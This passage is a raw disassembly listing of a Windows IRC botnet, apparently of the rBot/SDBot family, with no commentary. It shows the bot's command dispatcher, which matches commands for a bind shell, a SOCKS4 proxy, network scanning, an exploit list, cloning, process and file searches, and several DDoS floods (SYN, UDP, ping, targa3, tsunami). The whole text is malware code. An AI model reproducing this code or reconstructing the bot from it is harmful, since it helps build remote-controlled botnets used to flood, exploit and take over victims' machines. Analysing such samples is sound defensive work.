		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41C850
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_402340
; ---------------------------------------------------------------------------


loc_40233A:				; CODE XREF: sub_401ACD+833j
					; sub_401ACD+838j
		mov	esi, [ebp+var_AC]


loc_402340:				; CODE XREF: sub_401ACD+86Bj
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401F75
		push	edi
		push	offset dword_42CC74
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402160
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40238B
		mov	eax, dword_4CB888
		mov	eax, off_429160[eax*4]
		cmp	[eax], bl
		jz	short loc_40238B
		push	eax
		push	ecx
		push	offset dword_42CC58
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_40238B:				; CODE XREF: sub_401ACD+8A0j
					; sub_401ACD+8B0j
		push	edi
		push	offset dword_42CC50
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402160
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_402160
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_402160
		push	eax
		push	ecx
		push	offset dword_42CC38
		jmp	loc_401E8D
; ---------------------------------------------------------------------------


loc_4023CA:				; CODE XREF: sub_401ACD+7B9j
					; sub_401ACD+76B7j
		call	near ptr 26A0E98h
		nop
		push	eax
		push	offset unk_42CBFC
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_4023DB:				; CODE XREF: sub_401ACD+6DDj
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42CBB8


loc_4023EE:				; CODE XREF: sub_401ACD+7C19j
					; sub_401ACD+7C80j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 10h
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_402402:				; CODE XREF: sub_401ACD+6D1j
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402551
		cmp	[ebp+var_A4], ebx
		jz	loc_40252A
		push	1Bh
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_402519
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AAC]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41C266
		push	[ebp+esi+var_80]
		call	sub_41C159
		mov	[ebp+var_2914],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB4],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2994]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_290C],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2908],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CB90
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_2910],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB4]
		push	ebx
		push	eax
		push	offset dword_416000
		push	ebx
		push	ebx
		call	near ptr 26A048Eh
		nop
		mov	ecx, [ebp+var_2910]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_402508


loc_4024F2:				; CODE XREF: sub_401ACD+A39j
		cmp	[ebp+var_2904],	ebx
		jnz	loc_4082DE
		push	32h
		call	near ptr 26A0428h
		nop
		jmp	short loc_4024F2
; ---------------------------------------------------------------------------


loc_402508:				; CODE XREF: sub_401ACD+A23j
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset unk_42CB58
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_402519:				; CODE XREF: sub_401ACD+966j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CB28
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_40252A:				; CODE XREF: sub_401ACD+956j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CAF4
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_40253B:				; CODE XREF: sub_401ACD+6B6j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401F75


loc_402551:				; CODE XREF: sub_401ACD+94Aj
		mov	edi, [edi]
		push	edi
		push	offset aC	; "c"
		mov	[ebp+arg_8], edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964C
		push	edi
		push	offset aK	; "k"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025A2
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644


loc_4025A2:				; CODE XREF: sub_401ACD+AB9j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409644
		xor	edi, edi
		cmp	dword_4294CC, ebx
		jle	loc_402757
		mov	[ebp+arg_20], offset dword_43DB90


loc_4025C0:				; CODE XREF: sub_401ACD+B12j
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4025E6
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4294CC
		jl	short loc_4025C0
		jmp	loc_402757
; ---------------------------------------------------------------------------


loc_4025E6:				; CODE XREF: sub_401ACD+B02j
		push	offset asc_42CDC4 ; " :"
		push	[ebp+arg_0]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401F75
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43DBA8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_40263B:				; CODE XREF: sub_401ACD+C1Fj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d-"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026A7
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026A7
		lea	eax, dword_43DB90[edi]
		push	eax
		call	sub_41B9C0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026E2
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026E2
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 0Ch
		jmp	short loc_4026E2
; ---------------------------------------------------------------------------


loc_4026A7:				; CODE XREF: sub_401ACD+B96j
					; sub_401ACD+B9Dj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026E2
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 18h


loc_4026E2:				; CODE XREF: sub_401ACD+BAFj
					; sub_401ACD+BC3j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40263B
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_4026FF:				; CODE XREF: sub_401ACD+C7Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD	; "$%d"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h
		test	eax, eax
		jz	short loc_402742
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_402742
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		add	esp, 0Ch


loc_402742:				; CODE XREF: sub_401ACD+C5Aj
					; sub_401ACD+C60j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_4026FF
		mov	[ebp+var_2C8], 1


loc_402757:				; CODE XREF: sub_401ACD+AE6j
					; sub_401ACD+B14j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_402770
		cmp	[ebp+var_2C8], ebx
		jz	loc_402961


loc_402770:				; CODE XREF: sub_401ACD+C95j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_41843B
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_1	; "$user"
		push	edi
		call	sub_41843B
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_41843B
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40AE84
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_41843B
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_41843B
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 14h


loc_4027E2:				; CODE XREF: sub_401ACD+E0Dj
		test	eax, eax
		jz	loc_4028DF
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_A0]
		push	offset asc_42CAAC ; ")"
		push	eax
		call	sub_41CAD4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_40282E
		cmp	[ebp+var_A0], 39h
		jle	short loc_402844


loc_40282E:				; CODE XREF: sub_401ACD+D56j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_402844:				; CODE XREF: sub_401ACD+D5Fj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	short loc_40286A
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_40287E
; ---------------------------------------------------------------------------


loc_40286A:				; CODE XREF: sub_401ACD+D86j
		call	sub_41C2C2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_40287E:				; CODE XREF: sub_401ACD+D9Bj
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41B9C0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41843B
		push	edi
		push	[ebp+arg_0]
		call	sub_41C2E0
		add	esp, 30h
		jmp	loc_4027E2
; ---------------------------------------------------------------------------


loc_4028DF:				; CODE XREF: sub_401ACD+D17j
		mov	edi, 1FFh
		lea	eax, [ebp+var_428C]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_428C]
		push	edi
		push	eax
		lea	eax, [ebp+var_4EF8]
		push	eax
		call	sub_41BFD0
		lea	eax, [ebp+var_4EF8]
		push	offset asc_42CDC0 ; " "
		push	eax
		call	sub_41CAD4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40292F:				; CODE XREF: sub_401ACD+E77j
		push	offset asc_42CDC0 ; " "
		push	ebx
		call	sub_41CAD4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40292F
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401F75
		add	ecx, 3
		mov	[eax], ecx


loc_402961:				; CODE XREF: sub_401ACD+C9Dj
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F2
		push	edi
		push	offset aRn	; "rn"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095F2
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049B3
		push	edi
		push	offset aDi3	; "di3"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049B3
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404911
		push	edi
		push	offset aLo	; "lo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404911
		push	edi
		push	offset aVersion	; "version"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aVer	; "ver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404902
		push	edi
		push	offset aRulez	; "rulez"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048F8
		push	edi
		push	offset aRz	; "rz"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048F8
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048DF
		push	edi
		push	offset aSt	; "st"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4048DF
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aSec	; "sec"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4047E1
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DB
		push	edi
		push	offset aBd	; "bd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4046DB
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B0E
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42CA08
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B0E:				; CODE XREF: sub_401ACD+1027j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B9
		push	edi
		push	offset aS4	; "s4"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B9
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B61
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9E0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B61:				; CODE XREF: sub_401ACD+107Aj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B8A
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9C4
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402B8A:				; CODE XREF: sub_401ACD+10A3j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB3
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C9A8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402BB3:				; CODE XREF: sub_401ACD+10CCj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BDC
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C994
		push	offset dword_42C988
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402BDC:				; CODE XREF: sub_401ACD+10F5j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C05
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C968
		push	offset dword_42C958
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C05:				; CODE XREF: sub_401ACD+111Ej
		push	edi
		push	offset dword_42C94C
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C2E
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C940
		push	offset dword_42C934
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C2E:				; CODE XREF: sub_401ACD+1147j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C57
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C920
		push	offset dword_42C914
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C57:				; CODE XREF: sub_401ACD+1170j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C80
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C8F8
		push	offset dword_42C8E8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402C80:				; CODE XREF: sub_401ACD+1199j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CA9
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C8CC
		push	offset dword_42C8BC
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402CA9:				; CODE XREF: sub_401ACD+11C2j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD2
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C8A4
		push	offset dword_42C898
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402CD2:				; CODE XREF: sub_401ACD+11EBj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E28
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C940
		push	offset dword_42C934
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	0Eh
		push	offset dword_42C920
		push	offset dword_42C914
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C880
		push	offset dword_42C874
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	16h
		push	offset dword_42C868
		push	offset dword_42C85C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C8CC
		push	offset dword_42C8BC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	12h
		push	offset dword_42C8A4
		push	offset dword_42C898
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C84C
		push	offset dword_42C83C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	esi
		push	13h
		push	offset dword_42C82C
		push	offset dword_42C81C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C8F8
		push	offset dword_42C8E8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B648
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C7E8
		push	[ebp+var_88]
		push	edi
		call	sub_409869
		add	esp, 34h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_402E28:				; CODE XREF: sub_401ACD+1214j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E51
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C84C
		push	offset dword_42C83C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402E51:				; CODE XREF: sub_401ACD+136Aj
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E7A
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C82C
		push	offset dword_42C81C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402E7A:				; CODE XREF: sub_401ACD+1393j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA3
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C880
		push	offset dword_42C874
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402EA3:				; CODE XREF: sub_401ACD+13BCj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ECC
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C868
		push	offset dword_42C85C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402ECC:				; CODE XREF: sub_401ACD+13E5j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EF5
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C7A0
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402EF5:				; CODE XREF: sub_401ACD+140Ej
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404589
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F72
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C750
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402F72:				; CODE XREF: sub_401ACD+148Bj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F9B
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C72C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402F9B:				; CODE XREF: sub_401ACD+14B4j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FC4
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C70C
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_402FC4:				; CODE XREF: sub_401ACD+14DDj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aStats	; "stats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404573
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40455D
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404547
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404547
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404531
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404531
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404512
		push	edi
		push	offset aR	; "r"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404512
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044F0
		push	edi
		push	offset aDc	; "dc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044F0
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A8
		push	edi
		push	offset aQ	; "q"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A8
		push	edi
		push	offset aStatus	; "status"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404494
		push	edi
		push	offset aS_0	; "s"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404494
		push	edi
		push	offset aId	; "id"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40445D
		push	edi
		push	offset aI	; "i"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40445D
		push	edi
		push	offset aR3start	; "r3start"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403190
		call	sub_418884
		test	eax, eax
		mov	eax, offset unk_42C64C
		jnz	short loc_403162
		mov	eax, offset unk_42C628


loc_403162:				; CODE XREF: sub_401ACD+168Ej
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 1Ch
		jmp	loc_4082DE
; ---------------------------------------------------------------------------


loc_403190:				; CODE XREF: sub_401ACD+1680j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437E
		push	edi
		push	offset aT	; "t"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40437E
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435B
		push	edi
		push	offset aAl	; "al"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40435B
		push	edi
		push	offset aLog	; "log"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404268
		push	edi
		push	offset aLg	; "lg"
		call	sub_41CA50
		pop	ecx
